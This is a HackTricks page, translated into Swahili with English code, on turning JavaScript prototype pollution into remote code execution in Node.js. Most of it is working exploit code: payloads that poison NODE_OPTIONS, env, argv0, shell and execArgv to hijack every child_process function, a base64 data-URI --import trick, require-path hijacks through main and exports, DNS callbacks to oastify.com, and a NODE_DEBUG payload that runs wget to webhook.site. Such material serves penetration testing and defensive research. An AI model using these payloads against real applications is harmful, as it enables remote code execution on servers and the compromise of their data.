Prototype Pollution to RCE

Reading time: 21 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Vulnerable Code

Fikiria JS halisi ikitumia baadhi ya msimbo kama ifuatavyo:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE kupitia env vars

PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).

Kulingana na hii writeup wakati mchakato unapoanzishwa kwa njia fulani kutoka child_process (kama fork au spawn au nyinginezo) inaita njia normalizeSpawnArguments ambayo ni gadget ya prototype pollution kuunda env vars mpya:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Angalia hiyo code unaweza kuona inawezekana kuharibu envPairs tu kwa kujaza sifa .env.

Kuharibu __proto__

warning

Kumbuka kwamba kutokana na jinsi normalizeSpawnArguments kazi ya kazi kutoka kwa maktaba ya child_process ya node inavyofanya, wakati kitu kinapoitwa ili kueka variable mpya ya env kwa mchakato unahitaji tu kujaza chochote.
Kwa mfano, ikiwa unafanya __proto__.avar="valuevar" mchakato utaanzishwa na var inayoitwa avar yenye thamani valuevar.

Hata hivyo, ili variable ya env iwe ya kwanza unahitaji kujaza sifa .env na (tu katika baadhi ya mbinu) var hiyo itakuwa ya kwanza (ikuruhusu shambulio).

Ndio maana NODE_OPTIONS haina ndani ya .env katika shambulio linalofuata.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Kuambukiza constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE kupitia env vars + cmdline

Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika hiki andiko. Tofauti kuu ni:

  • Badala ya kuhifadhi payload ya nodejs ndani ya faili /proc/self/environ, inaihifadhi ndani ya argv0 ya /proc/self/cmdline.
  • Kisha, badala ya kuhitaji kupitia NODE_OPTIONS faili /proc/self/environ, inahitaji /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE kupitia --import (Node ≥ 19)

note

Tangu Node.js 19 bendera ya CLI --import inaweza kupitishwa kupitia NODE_OPTIONS kwa njia ile ile --require inavyoweza. Kinyume na --require, --import inaelewa data-URIs hivyo mshambuliaji hapahitaji ufikiaji wa kuandika kwenye mfumo wa faili kabisa. Hii inafanya kifaa kuwa na uaminifu zaidi katika mazingira yaliyofungwa au yasiyo na kuandika.

Mbinu hii ilirekodiwa kwa mara ya kwanza hadharani na utafiti wa PortSwigger mnamo Mei 2023 na tangu wakati huo imejulikana katika changamoto kadhaa za CTF.

Shambulio hili ni sawa kwa dhana na hila za --require /proc/self/* zilizoonyeshwa hapo juu, lakini badala ya kuelekeza kwenye faili tunaingiza mzigo moja kwa moja katika URL ya data: iliyokodishwa kwa base64:

javascript
const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

Kutitumia mchanganyiko/makloni dhaifu ulioonyeshwa juu ya ukurasa:

javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

Kwa nini --import inasaidia

  1. Hakuna mwingiliano wa diski – mzigo unatembea kabisa ndani ya mchakato wa amri na mazingira.
  2. Inafanya kazi na mazingira ya ESM pekee--import ni njia ya kawaida ya kupakia JavaScript mapema katika toleo za kisasa za Node ambazo zina default kwa ECMAScript Modules.
  3. Inapita baadhi ya orodha za ruhusa za --require – maktaba chache za kuimarisha zinachuja tu --require, zikiacha --import bila kuguswa.

warning

Msaada wa --import katika NODE_OPTIONS bado upo katika Node 22.2.0 (Juni 2025). Timu ya msingi ya Node inajadili kuzuia data-URIs katika siku zijazo, lakini hakuna suluhisho linalopatikana wakati wa kuandika.


Mwingiliano wa DNS

Kwa kutumia mzigo ufuatao inawezekana kutumia mazingira ya NODE_OPTIONS tuliyozungumzia hapo awali na kugundua kama ilifanya kazi na mwingiliano wa DNS:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Au, ili kuepuka WAFs kuomba jina la kikoa:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

Katika sehemu hii tutachambua kila kazi kutoka child_process ili kutekeleza msimbo na kuona kama tunaweza kutumia mbinu yoyote kulazimisha kazi hiyo kutekeleza msimbo:

exec exploitation
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile unyakuzi
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Ili execFile ifanye kazi, Lazima itekeleze node ili NODE_OPTIONS ifanye kazi.
Ikiwa haifanyi kazi ya node, unahitaji kutafuta jinsi unavyoweza kubadilisha utekelezaji wa chochote kinachotekelezwa kwa kutumia mabadiliko ya mazingira na kuyapanga.

Mbinu zingine zinafanya kazi bila hitaji hili kwa sababu inawezekana kubadilisha kile kinachotekelezwa kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua .shell, huwezi kuchafua kile kinachotekelezwa).

fork exploitation
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn unyonyaji
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync unyanyasaji
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Kulazimisha Spawn

Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo inaita spawn inahitaji kuwa ipo (mbinu zote za child_process zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa sehemu ya msimbo, lakini je, ni nini kitatokea ikiwa msimbo hauiiti.

Kudhibiti njia ya faili ya require

Katika andika nyingine mtumiaji anaweza kudhibiti njia ya faili ambapo require itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu kumpata faili ya .js ndani ya mfumo ambayo itafanya kuitisha njia ya spawn wakati inapoingizwa.
Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Pata faili zaidi hapa chini

Script rahisi ifuatayo itatafuta kuitisha kutoka child_process bila padding yoyote (ili kuepuka kuonyesha kuitisha ndani ya kazi):

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Faili za kuvutia zilizopatikana na script ya awali
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype

warning

Teknolojia ya awali inahitaji kwamba mtumiaji adhibiti njia ya faili ambayo itakuwa inahitajiwa. Lakini hii si kweli kila wakati.

Hata hivyo, ikiwa msimbo utaendesha require baada ya uchafuzi wa prototype, hata kama huhudumu njia ambayo itakuwa inahitajiwa, unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype. Hivyo hata kama mstari wa msimbo ni kama require("./a_file.js") au require("bytes") itakuwa inahitaji pakiti uliyopunguza.

Kwa hivyo, ikiwa require inatekelezwa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:

  • Tafuta faili ya .js ndani ya mfumo ambayo wakati inahitajiwa itafanya kitu kwa kutumia child_process
  • Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
  • Punguza njia ili kulazimisha require kupakia faili ya .js ambayo itafanya kitu na child_process
  • Punguza environ/cmdline ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)

Require ya moja kwa moja

Ikiwa require iliyofanywa ni ya moja kwa moja (require("bytes")) na pakiti haina main katika faili la package.json, unaweza kupunguza sifa ya main na kufanya require itekeleze faili tofauti.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 1

Ikiwa njia ya uhusiano inapo load badala ya njia ya moja kwa moja, unaweza kufanya node i-load njia tofauti:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Mahitaji ya jamaa - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 3

Kama ile ya awali, hii ilipatikana katika hii andiko.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

Katika karatasi https://arxiv.org/pdf/2207.11171.pdf pia inaonyesha kwamba udhibiti wa contextExtensions kutoka baadhi ya mbinu za maktaba ya vm unaweza kutumika kama gadget.
Hata hivyo, kama mbinu za awali za child_process, imekuwa imefanyiwa marekebisho katika toleo jipya.

Fixes & Unexpected protections

Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa attribute ya kitu kinachofikiwa ni undefined. Ikiwa katika code hiyo attribute ime wekwa thamani, hu wezi kuandika tena.

Mnamo Juni 2022 kutoka hiki kifungu var options badala ya {} ni kEmptyObject. Ambayo inazuia uchafuzi wa prototype kuathiri attributes za options kupata RCE.
Angalau kuanzia v18.4.0 ulinzi huu ume tekelezwa, na kwa hivyo exploits za spawn na spawnSync zinazohusiana na mbinu hazifanyi kazi tena (ikiwa hakuna options zinazotumika!).

Katika hiki kifungu uchafuzi wa prototype wa contextExtensions kutoka maktaba ya vm pia umeweza kufanyiwa marekebisho kwa kuweka options kuwa kEmptyObject badala ya {}.

info

Node 20 (Aprili 2023) & Node 22 (Aprili 2025) ilileta uimarishaji zaidi: wasaidizi kadhaa wa child_process sasa nakala options zinazotolewa na mtumiaji kwa CopyOptions() badala ya kuzitumia kwa rejeleo. Hii inazuia uchafuzi wa vitu vilivyotengwa kama stdio, lakini haijalinda dhidi ya hila za NODE_OPTIONS / --import zilizoelezwa hapo juu – bendera hizo bado zinakubaliwa kupitia mabadiliko ya mazingira. Marekebisho kamili yangepaswa kuzuia ni bendera zipi za CLI zinaweza kuhamasishwa kutoka kwa mchakato wa mzazi, ambayo inafuatiliwa katika Node Issue #50559.

Other Gadgets

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks